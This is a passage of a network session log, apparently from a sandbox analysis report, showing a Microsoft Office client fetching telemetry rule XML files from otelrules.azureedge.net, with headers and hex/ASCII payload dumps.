73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143814Z-178bfbc474b7cbwqhC1NYC8z4n00000004m0000000002qzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:14 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:14 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: ca5d4909-001e-0014-074d-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143814Z-15b8b599d88qw29phC1TEB5zag0000000340000000003pr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:14 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:14 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:14 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143814Z-15b8b599d886w4hzhC1TEBb4ug0000000370000000001ny4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:14 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: efcbc6c0-c01e-008d-3f44-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143815Z-15b8b599d8885prmhC1TEBsnkw000000034000000000d5m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143816Z-178bfbc474bq2pr7hC1NYCkfgg00000004ng00000000fv6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 20e9f7cf-701e-005c-216c-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143816Z-174c587ffdf59vqchC1TEByk68000000034000000000k9rx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: ff0b0d52-c01e-002b-2681-3b6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143816Z-174c587ffdfn4nhwhC1TEB2nbc0000000380000000000cn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 8945419b-e01e-0003-217d-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143817Z-178bfbc474btrnf9hC1NYCb80g00000004pg00000000g7pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1aa9c07b-201e-0096-3276-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143817Z-174c587ffdfl22mzhC1TEBk40c000000038g000000005wdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:18 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: bac9dc3c-701e-005c-2f49-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143818Z-15b8b599d88g5tp8hC1TEByx6w00000002z000000000dk1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:18 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 39e7be55-101e-008d-7d03-3d92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143818Z-178bfbc474bvjk8shC1NYC83ns00000004f000000000796b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:38:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:18 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 91a34af8-001e-0028-211e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143818Z-178bfbc474bmqmgjhC1NYCy16c00000004qg000000007ayb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
